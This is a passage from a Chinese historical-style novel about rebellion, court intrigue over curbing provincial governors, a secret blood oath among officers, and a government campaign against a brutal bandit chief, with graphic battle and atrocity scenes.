九月中旬,义军大将程明率领万余人马来到了弋阳城外。正在吃早饭的林彬得到禀报,一下子瘫软在椅子上。他体若筛糠地问:“他,他,他们,有,有,有多少人?”当听到义军的数量后,他哆哆嗦嗦地想站起来,可刚一使劲,便溺就从裤裆里渗了出来。现场最为镇定的要数林彬的老婆,她一把扯过两个儿女,转身跪在杨师爷面前,哀求道:“师爷,求你救救我这一双儿女!我家老爷是朝廷命官,不能丢失城池。我是他的发妻,恐怕城破后也难逃一死。现如今,我所牵挂的只有这一双儿女。我请师爷念在主从一场的份上,带着他们兄妹逃出城去,让我林家留存个后人吧!”杨师爷心里很是感动,他赶忙跪地给夫人还礼说:“夫人快请起,杨某答应就是。只是,事不宜迟,请您赶紧收拾东西,好让我保着少爷和小姐逃命。” 在送一双儿女和杨师爷出府的时候,有个城防兵来报:“县城西门失守。”林彬抖着双手,有些神经质地高喊道:“贼人来了!天下乱了!”他在府门前胡乱走了两圈,突然抬脚追着师爷喊:“杨先生,等等我,我随你们一同逃走!”最后几个在门前听差的官吏和兵丁听了这话一下就泄了气,纷纷抱着脑袋回家了。林彬刚刚跑到街角,就见近百名手提棍棒的陈绰族人和本地百姓怒气冲冲地向他扑来。陈家员外指着他骂道:“狗官,你还想跑不成?你天良丧尽,坏事做绝。我陈家是圣贤之后,本无罪过,却被你逼得倾家荡产,只能在祠堂凄苦度日。今天,你这狗贼的报应终于到了。来人,给我打断他的狗腿,连那吃屎的师爷和这两个小崽子一并绑了。咱们就用这几个王八蛋做见面礼,迎接饶王进城。”十几个后生跳将过来,不容分说就给了林彬等人一顿棍棒。可怜林彬的一对儿女,小小年纪竟被愤怒的百姓当场打死。 义军进城后,程明将多名周朝官吏和军将当众枭首,并把林彬剥皮抽筋又点了天灯,以震慑人心。他还在县衙设置了帅府,并下令打开府库,发放钱粮,保障百姓生计。到了晚间,程明喝完大酒,略有醉意地回到后衙。头领蓝正笑嘻嘻地凑过来说:“大哥,兄弟已经把两箱珠宝放在屋里了,还有几个小妞儿也给你安排好了,你只管进屋快活去吧。”程明咧开大嘴,嘿嘿一笑说:“还是你小子会办事,这下邓江、邢实兄弟的财富和婆姨恐怕就比不上我喽……” 在江浙动乱的同时,周朝的其它地区也不太平。其中,举行了暴动且规模较大的就有,盐都城的苏十一起义,黄冈地区的王合起义,丹江地区的甘老大起义,湘西地区的姜表起义,雷州地区的穆仁兄弟起义,碣石的乔三起义,南岭地区的臧屠起义,另外,在淮南还兴起了真义教,再加上正在与张永德对战的夜郎国,可以说周朝已是遍地烽烟,天下大乱。恰在此时,朝廷最重要的大臣宰相赵松寿和帝师关知信先后病逝,使得原本就不稳的朝局愈发动荡。 第四十四回3 公义誓言 九月末的一天,副相冯体仁和枢密使齐元能进养德殿面见天子。待二人施过大礼,天通帝有气无力地说:“起来吧。冯卿上次进贡的那种丹药,朕服用之后觉得颇有效益,你可再吩咐光州的道长们多制些来。”冯体仁赶忙躬身回答说:“遵旨,臣这就让他们制备。”天通帝微微点头,又说:“朕近日得报,江南、丹江、南岭和雷州皆有贼寇作乱,朕心中甚是不安,故而诏卿等前来奏对。”齐元能身施一躬说:“主子,刘相和陈将军已在西北取得大捷,不日就将返回汴京。主子可令他们再提得胜之军往征四方,定可把贼寇一举荡平。”冯体仁上前作了个揖说:“主忧臣辱,是臣等没有本事,才让陛下不得安生。齐枢密所奏虽然有理,但是匪寇分布广散,单靠刘相恐顾此失彼,因而,臣启陛下应多派几路兵马往剿贼兵。”天通帝抚着自己的头,说道:“卿等可有保举之人?”冯体仁从衣袖中取出一扎折本,跪倒进献说:“圣上,臣正有一本要送达天听,且此本不止是要举荐几个将帅,更是要保我大周国祚,请陛下明查。”天通帝让白登接过奏折,半闭着眼睛说:“卿可先说个大意,朕再慢慢细读。”冯体仁磕了个头说:“陛下,在臣看来,地方蟊贼于我天朝只是癣疾,并不能真正威胁朝廷的安全,反倒是盘踞各地的宣慰使和节度使们更应引起皇上的注意。昔者,汉成帝宠幸王莽,封王家一门九侯,却招致新莽代汉;玄宗任用安禄山,令其掌握边镇,终换来安史之乱;梁朝又有侯景夺宫之变,后唐还有庄宗与明宗之争,这都是帝王过于信任武将,让他们长久拥有兵权的结果呀!现在,陛下刚刚享国三载,正应加强中央,削弱地方,以防‘枝大必折,尾大不掉’局面的发生啊。”天通帝听了这话,一下子坐将起来,略显急切地问道:“卿是说有人想谋逆吗?”冯体仁又磕了个头说:“圣上英明神武,天下皆服。臣只是建议陛下防微杜渐,提早布局而已。”天通帝又往前凑了凑,说道:“冯相对朕的忠心诸臣难及。卿快起来。朕在集权方面该怎么做,还请冯卿尽言。”冯体仁站将起来,又说道:“陛下,臣的建议是地方封疆必用圣上近臣,此为其一。其二,藩镇大员可以专任却不可久任。所有边疆省份可派专人镇抚,而在这些宣慰节度任职两三年未形成势力之前,就该将其调往他处。其三,收缴边镇的部分财权,使其更加听命于中央。其四,抽调边疆省份的兵马,增强禁军实力。有了上述四点做保障,陛下便能令行禁止,江山永固。”天通帝抚掌笑道:“冯相果然有智谋,建言正合朕意。不过,方今藩镇在外而暴民肆起,朕该怎样着手呢?”冯体仁又一躬身说:“圣上,这正是微臣要奏对的第二项内容。据报,柔然的乌利可汗称疾不出,我大周来自北方的威胁基本解除。为此,陛下可分批将西北宣慰使、川陕宣慰使、岭南宣慰使、幽燕节度使、山西节度使、雍州节度使、汉中节度使、广西节度使、云贵节度使等大员进行调换或另行任用。特别是幽燕节度使耿宇辉、山西节度使宋启愚、雍州节度使苗家伟,还有那个广西节度使赵义廷,这四人兵强马壮、实力雄厚,正是令其为国报效的时候。陛下可下谕旨,令这四人率军平贼,若胜则加其虚职调回中央,若败则降级调任收其部曲。这样一来,陛下既能加强皇权,又能抑制藩镇,还能消灭匪寇,一举多得,岂不美哉。”天通帝很赏识地看了看冯体仁说:“卿家所言甚善。你让朕思考两日,待朕下了决心,再找你详谈。”他又转脸对齐元能说:“齐枢密与冯相都是朕的近臣,今后你们要多方合作,掌牢朝局和武备,辅朕开创一代盛世啊!”齐元能和冯体仁赶忙跪在地上,各自表达了对皇帝的感激之情。 几天后,天通帝把自己要轮换封疆大吏的预想通报给了已班师到达荥阳的宰相刘睿。送走了传命的天使官,刘睿轻轻捅了捅陈伟亮,小声说道:“陈将军,看到没有。你我还没回京,就有人打我们的主意了。”陈伟亮不解地问:“刘相,此话怎讲?”刘睿眯缝着眼睛说:“那些佞臣看你我收复失地、立了大功,心生妒忌,便撺掇皇上让咱们再征江南,若胜了,是他们举荐有功,若败了,则咱们前功尽弃。且咱们这一去又要打个一年半载,那么朝中关键的职位还不都让冯体仁他们占了去。我本已举荐你出任枢密副使,如若出征,你老弟到嘴的肥肉可就另属他人了。”陈伟亮以拳击掌说:“他娘的,大人与末将为了国家在战场上舍命拼杀,没想到却被朝里的小人算计。”刘睿拍了拍陈伟亮的肩膀说:“陈将军莫急。老夫在朝堂上混了几十年,也不是好欺负的。再说那些封疆大吏,有哪个是省油的灯?皇上若真要动这些宣慰使和节度使,说不定还会祸起萧墙。要是赵相还在的话,一定不会这样鲁莽。”刘睿想了想又说:“此次回京,老夫会想办法留在朝里,然后再举荐你往征江南。这样一来,中央有老夫跟他们周旋,地方上有你统兵建功,我们进退都有余地。另外,跟随咱们收复延绥的山西边防军能征善战,本相打算把其中的叶明奇部和康恩部收归禁军,以增强咱们的实力。”陈伟亮抱拳躬身说:“大人深谋远虑,末将钦佩之至。”刘睿盯住陈伟亮,缓缓说道:“陈将军,有些事儿你可能不知道。本相之所以让你做我的副将,不仅因为你是我跟赵相的亲近旧部,更是因为本相想救你的命,怕你重蹈陈松昌、张洪涛、田宏业、周亮等人的覆辙。咱们这位主上对臣下的猜忌,远超其他帝王。这几年,你没少替皇上做密事,一旦他哪天怀疑你,或者有人说了你的坏话,你的下场恐怕比成王和扬王还惨。”陈伟亮只觉得浑身发冷。他急忙跪在刘睿面前,磕了几个响头说:“大人对陈某的恩德,末将永世不敢忘怀。末将对天起誓,今后定以刘相马首是瞻。” 第四十四回4 公义誓言 十月末,皇帝调动封疆的命令陆续传到了各个省府。其中,宋启愚得到的旨意是往剿丹江贼寇。宋启愚不敢怠慢,立即找来吴襄、申鲤等几名在府的亲信部将商议对策。 段卫国性子最急,刚施完了礼就开口问道:“大人,听说朝廷调您到丹江剿匪,若咱山西有变,我们该如何应对呢?”宋启愚示意众人落座,朗声说:“我虽奉命南征,但仍挂着节度使衔,又怎么会忽略山西的防务呢。就由段将军你负责晋阳军事,由席军民镇守使负责关北军事吧。另外,据我所知,柔然可汗长期卧病,还有那位总爱挑事的渤海候业已故去,所以,在短期之内他们是不会贸然攻击我大周的。政务上吗,可以交由弓康年和纪连华二位巡抚署理。”申鲤一拱手说:“大人,这次南征,您可一定得带着我们这些人呀。从跟着您赴任济南算起,我等已有七八年没回过家乡,实在是想念的紧啊!”刘戈一拍申鲤说:“申兄,这些情况大人都知道,会替我们考虑。咱该想的是怎样为大人出力。甘老大盘踞丹江、汉江十余年,不但善于水战,而且熟悉地形,听说这小子现在聚集了两三万人马,分属十三座大寨,可是不好打呀。”宋启愚微微一笑说:“你们这些江汉子弟我当然要带。没有你们相辅,我是打不了胜仗的。我还要到襄阳和丹阳再招募些水军,建造和征用些船舰,以期在半年之内消灭贼寇。”申鲤又一拱手说:“大人只管放心,钟成手下的襄阳水军和李三茂手下的丹阳水军都会听从大人调遣的。”吴襄也向前探了探身子说:“宣道,咱这次带上五万人马去,肯定能剿贼成功。”宋启愚摇摇头说:“长白,此次南下我只带一万五千人,带多了也没用。那些所谓的反贼绝大多数不过是附近的穷苦百姓,走投无路才聚众为寇,只要我们打掉其中的少量顽匪,再给其他从众寻到活路,这场仗并不难打。你、曹可用、余先生和邝先生都留在山西。你们得把家给我看好了。咱山西的社会秩序、经济发展和百姓生活,还有我前线的物资供应都要靠你们通力维持。你们肩上的担子可是不轻啊!”吴襄略一沉吟,抱拳拱手说:“好吧,既然宣道已做了决断,长白全力执行也就是了。只是,咱这光裕子弟你怎么着也得带几个去呀。”宋启愚点头说:“我已经调余天锡和董元度带领炮队随军出征了。我还命钟成他们先派些城防兵潜进匪巢,为我提供情报。”毛小皱了皱眉头说:“大人,卑职这几天总是不安,老觉得会有事情发生。”吴襄赶紧问道:“你是不是也觉得这仗不好打!”毛小摇摇头说:“大人用兵,神鬼莫测,无须我等置喙。我只是觉得朝廷先换了岭南宣慰使和汉中节度使,接着又调动咱们和其他大员出兵剿匪,这些动作不符合惯例。你们想想看,为什么汉中节度使回朝后只给了个提举湖州的虚衔?为什么朝廷突然往各省增派了一名黜治使?这难道没有什么深意吗?我觉着,大人为了自己的前程,应先观望一下,看看其他省份怎么做,以免被人针对。”宋启愚轻笑一声说:“毛小遇事考虑的还是比其他人深远啊。不过,我身为周臣,必须遵从圣上诏命。更何况,那甘老大绝非善类,听说他每天都要用八九岁小孩的心肝下酒,丹江的百姓正身处水深火热之中啊。我又怎能不早日出兵,解民倒悬呢?”听了这话,毛小等人非常感动,全都跪伏于地,表示愿听调遣。 眼看要到出兵的日子了,毛小在参军府公义堂摆下酒宴,邀请曹可用、吴襄、段卫国、余天锡、申鲤、伍名、欧阳亮七人聚会。酒过三巡,毛小显得有些亢奋。他一边劝酒一边滔滔不绝地讲述自己曾经的过往,从年少时的苦难,到现在的得意;从各地的民情变化,到凶险的皇权更替;他讲得非常动情,又说得十分诚恳。在座的都是共同经历过生死的人,很快便产生了强烈的共鸣。段卫国一拍桌子说:“宋大人就是咱们的天。谁要是敢跟宋大人过不去,就是跟我们大伙过不去。”吴襄说道:“对,只要咱们一条心,没人敢动咱们。毛参军要是怕那个鸟黜治使捣鬼,我就在他身边多放几个眼线。只要他有小动作,我马上做掉他。”申鲤插嘴说:“毛兄弟,这次出征我一定护佑大人安全。你就放心吧!”曹可用乜斜着眼睛看了看在座的人,说道:“你们啊,都没明白毛兄弟的意思。他是担心有人暗地里给大人穿小鞋。”余天锡暴怒道:“敢!谁敢对大人不利我就用炮轰平了他。”毛小给几个人又斟上酒,压低声音问:“要是给咱家大人穿小鞋的人就是皇上,你们当如何?”众人沉默了片刻。伍名阴沉着脸说:“那就反了他!”段卫国也叫嚣道:“伍兄弟说的对,要是皇上不给咱们活路,那他也别想活。”申鲤咬着牙说:“要是他敢算计大人,我就领兵杀到开封去,推翻他,再拥立宋大人当皇上。”见欧阳亮一直没有说话,曹可用拍了他一把说:“小子,今天咱们聚会,大人并不知道。我们几个都是粗人,说了几句醉话,你可千万不要当真啊。”欧阳亮急忙摆手说:“大伙别误会。我早就对当今不满,只是不敢跟人诉说。今天,得知列位将军与我志同道合,我心里痛快得很!象天通帝这种得位不正、荼毒兄弟、不修德行、乱政害民的皇帝,我们就该废了他,这才符合孟子‘民以贵,社稷次之,君为轻’的主张。”毛小觉得众人的情绪已被鼓动,便走到提前摆设好的香案前,拔出短刀说:“今日所议关乎每个人的身家性命,不能儿戏。我要你们都在女娲像前歃血立誓,绝不负宣道大人。”说着,毛小率先割破手指,将血滴进碗中。吴襄跨步上前,一边歃血一边说:“能为宣道赴汤蹈火,我吴襄绝无二话。”接下来,段卫国、申鲤、伍名、欧阳亮、余天锡和曹可用也先后在酒碗里滴了血。毛小取酒在手,跪倒在女娲塑像前,其他七人也端着酒碗跪下。毛小低声念道:“女娲娘娘在上,天地诸神在列,我等八人皆蒙宋公启愚大恩,同时,感佩其致公致正之德,出民水火之行,情愿推戴宋宣道大人为主。我等在此立誓,今后要为大人赴汤蹈火,开疆立业,虽刀斧加身,永不相背。若违此誓,天神不佑,人人得而诛之。”念完,毛小举碗过顶,说了个“请”字,便大口喝下了血酒。众人也激动地喝了酒。欧阳亮把碗一摔说:“现在,咱们都是手足兄弟,何不效仿三国故事签订一份生死文书呢?既然此处名叫公义堂,那么,我就把刚才毛兄所念的誓言写下,唤做‘公义誓言’,我八人都在后面签上名字如何?”众人皆欣喜应诺,并催促欧阳亮快写。不大的功夫,欧阳亮就在一方红绸上写下了“公义誓言”,并在后面附了名。吴襄接过毛笔,也工工整整地签了名字。毛小签完了名,说道:“我等今日虽然定盟,但起事时机还未到来,故请诸位务必谨之慎之,不可走漏风声。另外,童道生、席军民、韩德明等大人都是忠义之士,可以适时与之密议,尽量扩充咱们的实力。”最后一个签名的曹可用呵呵笑着说:“列位弟兄,这份誓言是个紧要的东西,断不能落入外人之手。大伙若信得过曹某,就由我来保管吧。”吴襄、毛小先表示同意,其他几人也都没有异议。于是曹可用便郑重地将“公义誓言”收进了怀中…… 腊月初一,在汉江边上,十几万得知消息的襄阳军民静立于白铜堤上,翘首期盼他们的宋青天归来。当悬挂着“钦命丹江征讨大将军宋”字旗帜的舰船出现在临汉门外的江面时,整座襄阳城都沸腾了。挤在最前面的人透过薄薄的水雾渐渐看清了,一位头戴乌沙、身穿紫袍的大员正矗立在帅船之上并双手合握频频向大家致意。人们发自内心地呼喊道:“是,是宋大人!宋大人回来了!宋大人回来了……” 第四十五回1 平定民变 宋启愚到达襄阳后,先把部队驻扎在最靠西边的茨河镇;而他自己则回到襄阳城里,每日会见旧部、看望百姓,并张贴告示,号召附近的贼寇投诚;他又对外放出消息,招募水军、打造大舰,给人以官军并不急于出兵剿匪的印象。可实际上,他早就命令钟成和李三茂广派哨探,侦查汉江和丹江沿线的地貌匪情了。 腊月二十日午后,宋启愚突然命令擂鼓聚将。他头戴镔铁狮子盔,身穿银叶连环甲,外罩绣蟒赤色袍,威风凛凛地坐在帅案后面。待众将施礼完毕,宋启愚张口道:“我军停驻襄阳已有半月,困乏已消,贼情已明,兵备已补,计谋已熟,现在,正是进兵破敌的大好时机。为此,权正仪,展开地图。”权正仪听大帅第一个就叫自己的名字,心里别提多畅快了。他答应一声,拿出一副大图铺展在地上。宋启愚走到图前,点指着说道:“你们看,甘老大的数万匪寇主要活动在这片区域。他这个人生性狡猾,卑劣残忍。听说他在患病时,对天许愿说如果病好了就以女人的小脚贡奉上天。到他病好以后,竟真的命令每个喽罗至少进献十双女人的小脚。结果,他手下的人但凡遇见女子就将其脚砍下,不到半天功夫,营寨中的小脚已经堆积如山。他又命人将这些小脚架火烧毁,命名为‘燃天烛’。他还喜欢听人的惨叫。每每逮到俘虏,便数十人一群,用柴薪点火围成圈,他的喽罗圈外用矛戟刺杀,看其呼号乱走以助兴致,命名为‘号戏’。他甚至连怀抱中的婴儿都要部下抛掷空中,下以刀尖接之,观其手足飞舞而取乐。”帐前的将佐们听了这样的描述,一个个气得肺都要炸了。申鲤高叫道:“大帅,咱得灭了这个人渣,替丹江汉江的军民报仇呀!”李开复骂道:“他娘的,这哪是人啊!简直就是恶鬼!”施济胜摩拳擦掌地说:“大帅,您就下令吧!末将愿充前锋,亲手宰了这个王八蛋!”宋启愚示意众人安静,继续说道:“正因如此,甘老大在丹江不得人心,很多百姓完全是被恐吓才投到他的麾下。所以,只要我们能够击败他,斩杀他的核心成员,其部从便会溃散,没有人会真正替他卖命。其次,这个甘老大不懂陆战。他没有攻陷周边的丹阳、郧阳和谷城,这就造成他只能在江里横行,却无法在旱岸上立足,更无法将部众聚集一处,且他只留了南边一个出口。若我们进兵南水,拿下薤山,那就等于将甘老大困在了这一片江湖水网中。然后,我们再水陆并进,沿江攻击,那他还有退身余地吗?”众将听得热血沸腾,甚至开始联想大破甘老大时的情景了。宋启愚接着说道:“其实,歼灭贼寇并不难,难的是怎样让投诚过来的人和老百姓相信咱们,重新生活,不再反叛。为此,这一路之上,本帅数次上书朝廷,要求暂免丹汉地区的禁榷和赋税,保障本地休养生息。幸运的是,昨日圣上已下诏允准了我的部分请求,解除了本地的丝、渔禁榷。所以,本帅今日才聚将传令,要你们连夜出击,攻取薤山。”将校们抱拳高呼道:“愿听节度使调遣。请大帅下令。”宋启愚转身回到帅座,先拔出一支大令点名道:“伍名、刘戈、施济胜。”三员大将大喝一声“在”,出列听令。宋启愚说:“你们带着向导,领三千步骑,于申初出发,渡过南河,乘敌人疏于防备时,一举攻克薤山匪寨。”三将插手施礼道:“末将得令。”宋启愚在递出令件的同时,叮嘱说:“你们是此战的关键,务必奋勇向前、一击制胜。我会派姚凯在你等身后策应。”伍名接令在手,坚定地说:“大人放心,伍名保证打个漂亮仗。”接下来,宋启愚又抄出一令,说道:“姚凯,命你率领一千人马于申末出发,跟在伍名后方,接应之。在你完成接应任务后,不必回营交令,继续向西,往武当山脚驻扎,随时准备擒拿溃散的贼寇。”姚凯雄赳赳地出列,接受了命令。宋启愚再拿起一支大令,吩咐道:“申鲤、易东、钟成听令。”三将插手施礼说:“在。”宋启愚接着下令道:“你等依照此前安排,立即率领水军西进,拔除随洲岛上的贼寇水寨。”申鲤上前接过将令,先说了个“是”,旋即犹豫道:“大帅,毛参军在南阳府率军西进时一再交代,要我等保护好大人。今若我们把六千水军全都带走,您身边可就只有三千兵马了。”宋启愚呵呵一笑说:“不必为我担心,你们打得越狠,我就越安全。况且,天锡、开复他们还在我的身边,你们尽管去封死甘老大往东的门户吧。”申鲤重重地点点头,抱拳躬身说:“大人保重,末将遵命。”宋启愚扫视了一眼在场的将佐,又命令道:“其余将士跟从本帅酉时拔营,往北急进,越过谷城县,直取贼寇的鲍家洲营寨。”众将一同插手施礼应道:“遵从宋大人将令。” 在同一天,先期到达丹阳城北部的毛小也与城防军司马李三茂进行了商议。他们决定,由李三茂、杜应、丁宁、辛涛指挥一千丹阳水军和一千晋阳步骑,夜袭寺沟码头,掐断甘老大深入丹江的水上通道;另由毛小和董元度率领两千晋阳军,进击石鼓镇,从陆路阻断贼寇对丹阳城的威胁。 就作战难度而言,当然是伍名这一路最为困难。三千步骑顶着星斗,冒着严寒,翻山越岭,将近子时才到达南河边。一个向导指着前面的河湾说:“武将军,这里就是南河最窄最浅的地方,可以命令部队在此砍树架桥。”伍名借着岸边火把的光亮往前瞅了瞅说:“这河有七八丈宽,就是不知有多深?”向导说道:“最深的地方不过五尺,若是在夏季咱襄阳人趟着水便能过去,只是在寒冬腊月……”伍名打断他说:“哎!为了能解救丹江百姓,我等连命都可以不要,怎么会害怕受些苦寒呢!更何况潜进敌营的刘四他们还在山上盼着咱们呢。不必架桥,快速涉水过河。”后面的施济胜也说:“武将军说的对。兵贵神速,我请求率军先渡。”伍名两眼放光说:“老施,有勇气。先派一队骑兵探路,拉几条绳索过去,然后命令军兵们都把衣裤顶在头上,喝了烧酒再下河。等打下了薤山,我请全军弟兄喝大酒。” 寅时,刘戈带着少量部队先摸进了薤山,在解决了几个哨兵之后,他们顺利地打开了寨门。见山上火把左右晃动,伍名抽刀在手,大声喝道:“弟兄们,跟我冲!”几千憋足了劲的将士听到命令,犹如虎狼一般就朝山寨杀去。 第四十五回2 平定民变 与此同时,申鲤那边也与水贼们交上了手。为了不给贼寇逃跑的机会,他先命令易东率领几十艘快船前出到随洲岛附近的江面上,随时准备截击敌船;又命令马光率领五百军兵守住岛的南侧;这才和钟成带兵上岛,进行搜索攻击。起初,水贼们没有防备,接连被端掉了两座营寨。但随洲岛毕竟驻有四千贼兵,当官军攻击到岛的中心时,那里的土匪由于多数背负着人命,硬是不肯投降,还依靠寨墙拼死抵抗。看到手下人再一次败退下来,钟成咬牙切齿地命令道:“十三,你带人上。”张十三满不在乎地说道:“好嘞,交给我!弟兄们,跟着我冲进去!”他提着刀,一跃而起,指挥着百十名城防军又向匪寨扑了过去。箭矢如雨,不时有军兵倒下,但张十三不管那么多,他一路拨打着雕翎竟真的杀到了寨墙前。就在他想挥刀劈砍木墙的时候,脚下的地面“咔嚓”一声裂开了口子。原来,贼寇在寨墙前挖的有陷坑。张十三和另外几个军兵毫无防备,全都掉进了坑中。已被木枪穿透胸膛的张十三口吐鲜血呻吟道:“要是……早些年,我那身手……才……不会掉下来……”看着最亲的弟兄惨死,钟成大吼一声就要往前扑。申鲤急忙命人把他拉回来,又对身后吩咐道:“这么打伤亡太大。王闯,你去把咱船上装着的两门炮还有那几架床子弩调过来,给我炸开它。” 约莫过了半个时辰,随着轰隆隆的炮声,匪寨内外被打得墙倒屋塌、碎屑乱飞。土匪们眼见不妙,扔下啼哭嚎叫的伤员,就往北面逃窜。申鲤挥舞着大刀,喊道:“给我剿灭了这些王八蛋!”四千官军听命后,全都呐喊着冲向了敌军。 又是一场血战。贼寇们死的死,降的降,仅有百十人杀出重围,逃到了码头。这些人手忙脚乱地抢上了船,并向汉江里划去。哪成想,易东的战船迎面杀来,一通乱箭就把大半水贼击毙在船头。最后一小撮不愿投降的顽匪妄图涉水逃跑。可是,冰冷的江水卷着漩涡,顷刻间就让这些恶人葬身江底。 此时,宋启愚的大军也对鲍家洲展开了攻击。待炮队一字排开后,余天锡冷笑着说道:“弟兄们,三十几门火炮齐射,要是打不出那帮混蛋的屎来,就算他们拉的干净。”说完,他“嘟、嘟、嘟”地吹响了哨令。地动山摇,电光火线。在仅仅挨了两轮炮击之后,鲍家洲的寨门便打开了。千余惊恐万状、灰头黑脸的土匪,挑着白旗,空着双手,从山寨里鱼贯走出,跪伏在寨门两边,向官军投降。宋启愚见状,轻轻挥了挥马鞭。李开复会意,立即带兵占领了匪寨,并将几十名贼首关押了起来。 至天亮,官军各部均传来捷报,统共捣毁匪巢五座,毙伤俘获盗匪万余人。宋启愚约束住部队后,一面出榜安民,一面命人四处张贴招降文书,以期从心理上瓦解贼寇。 第三天晌午,甘老大坐在丹江口的大宅里,对身边的十几个头领怒骂道:“妈的,这招降文书竟然投到我的手里来了。你们这些人也真够废物的,五座大寨一夜之间就被端掉了。就是杀五群猪,也没有这么顺手的吧!老子敢肯定,咱这寨子里有奸细。你们都去给老子查,但凡可疑的,还有说赖话的,统统给老子揪出来,咱们摘了他们的心下酒吃。”这时,两个五六岁的小男孩手里拿着木刀一路打闹着跑进了前院。甘老大压抑着烦躁的心情,嘴角微微上翘喊道:“十八,廿四,到后面玩去。”或许是玩得太专注,两个小男孩并没有听到父亲的话,反而更加吵闹。甘老大大怒,冲外面吼道:“来人,把这两个逆子牵出去斩首。”门口的亲兵知道甘老大的脾气,不敢多说,直接扑上去,拎着两个孩子就往大门外走。不大的功夫,亲兵提着两颗脑袋到堂前复命。甘老大似有些后悔地说:“哎呀,咋就把这俩杀了呢!”旋即,他又恢复了狠辣,说道:“杀就杀了吧。反正老子还有十几个儿子,也不在乎这两个。”他扫视了一眼在座的头领们,骂道:“还不快去查,等着请吃饭啊!”十几个头领唯唯应诺,连滚带爬地退出了甘老大的帅府。 其实,对于这个丧心病狂的恶魔,很多匪寇都心怀不满,只是迫于他的淫威,才不得不匍匐在他的脚下。如今,匪寇们见官军势大,又听闻招降书上有优待条件,再加上对宋启愚的为人早有耳闻,很多人的立场开始转变。 腊月二十七日夜,驻守丹江口北岸的匪首赖九秘密派人来见宋启愚,表示愿向官军投诚,条件是要求朝廷封其为丹江口司马。宋启愚微微一笑说:“我军的战力如何你们前些天也看到了,所以,即使没有人投诚,我们也能快速剿灭甘老大。更何况,来乞求投降的甘军首领不止赖九一人。投诚者获封官职的大小,完全取决于他的诚意,以及他能在剿灭甘匪的过程中发挥多大的作用。”宋启愚顿了顿,又说道:“本节度之所以没有马上进攻,而是广发招降书,就是不愿杀人过众,想给咱丹江和汉江多留些种子。请你回去帮我致意赖头领,并告诉他,打消顾虑,早定大计,配合我军剿灭甘匪,是他能做的唯一选择……” 赖九得到回报后,立即和几个亲信密议了一回,并最终决定归顺朝廷。他没敢耽搁,当日夜间,便亲自前往官军营寨,觐见宋启愚。他还把自己的两个儿子留在周军营里做人质,以显示诚心。宋启愚随叫来余天锡、李开复与之商定了次日攻取丹江口的各项细节。 二十九日正午,宋启愚率领部队从东、北、南三个方向包围了丹江口北岸。当听到信炮声时,赖九立即命令手下反穿了棉袄,并打开城门放官军进城。他还引领着军队猛冲猛打地朝甘老大的府第杀去。李开复第一个突进甘老大的帅堂,可眼前的景象却让他终生难忘。只见厅堂前面横七竖八的躺着十几个被杀的孕妇,厅堂内又有七八具婴幼儿的尸首,而在内室的每个屋子里,都躺卧着多名被刀枪砍杀的年轻女子。李开复找寻了半天,终于救活了几个受重伤的女人。这些人断断续续地讲述了她们的遭遇。原来,这座帅府和这百十个女人都是被甘老大强占的。就在几个时辰前,闻报官军正在靠近,甘老大自知无法支撑,便准备带着亲兵逃跑。他嫌这些妇孺累赘,又不想让这些人落到官军手里,就命令杀光这些人。李开复听得怒不可遏。他只觉得一阵恶心,不由得扶住了柱子。他勉强站起,对身后吼道:“连自己的亲儿子都杀的畜生!传我的令,对仍在抵抗的贼兵一律斩杀!对投降的甘老大亲兵,就地正法!”他向外走了几步,又怒吼道:“牵马来,就是追到天涯海角,我也要把这个恶贼碎尸万段!”此后,官军很快便攻陷了丹江口主城。而在江面上,申鲤、易东和钟成的水军也对出逃的贼寇展开了追击。 第四十五回3 平定民变 然而,事与愿违,狡猾的甘老大还是逃脱了。他在官军还未封锁江面的时候,就带着十几个亲兵驾船开溜,此时已在汉江南岸登陆了。他手下的一个亲兵大口喘着粗气问:“大头领,咱为何不去龙山寨和嵩坪寨啊?却要往这鸟不拉屎的山里钻。”甘老大瞪眼骂道:“你个春四还真蠢。那几个寨子顶得住官军的攻击吗。咱们要是去了,说不定立马被人给卖了。现如今,咱得先保命,懂不?”又往前跑了几里路,甘老大聚拢住亲兵,扔下一包金银说:“咱这样跑还是目标太大。不如分开,你们先把这些钱分了,然后,胡二带几个人往东跑;王三和牛陆往西跑;张哥和你们几个往南跑;我带着春四钻山沟。等完了事,咱们都到南边的紫金镇汇合。别看现在咱就剩这几个弟兄,可只要这个宋启愚一走,不出三年,咱们还能拉起一支队伍,过上神仙般的日子。”十几个贼寇一边哄抢着财物,一边说:“这姓宋的真是邪性,哪有官军打仗这么玩命的。尤其是他的那些炮,太他妈吓人了。”还有的说:“那些刁民也他妈可恶,先前没发现他们这么有能耐啊。”甘老大不愿跟这些人废话,随说道:“大家快走吧,能不能逃出去,就看各自的命了。” 待三路小贼走后,甘老大一拍春四说:“咱俩也往西,到武当山去。当年,老子就是逃在哪儿才躲过官军的搜捕的。”春四不解地问:“大头领,你咋了。刚才你不是还叫大伙往紫金镇汇合吗?”甘老大狡黠地一笑说:“他们不做替死鬼,能有咱俩的活路吗?少废话,跟我走就是了。”两个贼提上兵器,迈开步子,很快便消失在山林之间。 在宋启愚的晋阳铁军面前,失去指挥的草寇当然不是对手。至酉末,申鲤、钟成的水军不但完全控制了丹江口北岸,还拿下了丹江口南岸,甚至,易东水军已经前出到了舒家岭,隔河威胁着土匪的龙山营寨。汉江北岸的毛小也横扫了嵩坪镇和习家店的匪寇。东南方向的伍名则攻占了土关垭,并与申鲤的部队会师于伍家岭。 当晚,施济胜部的哨卡抓获了几个从西边逃过来的贼寇。在审讯得知他们是甘老大的亲兵后,伍名先将手里的部队都散出去,增设关卡,严查行人,他又连夜过江向宋启愚汇报了此事。宋启愚立即命令申鲤封锁江岸,又命易东、钟成尽快拿下龙山匪巢,并向南岸增调了两千步骑协助伍名搜索甘老大。 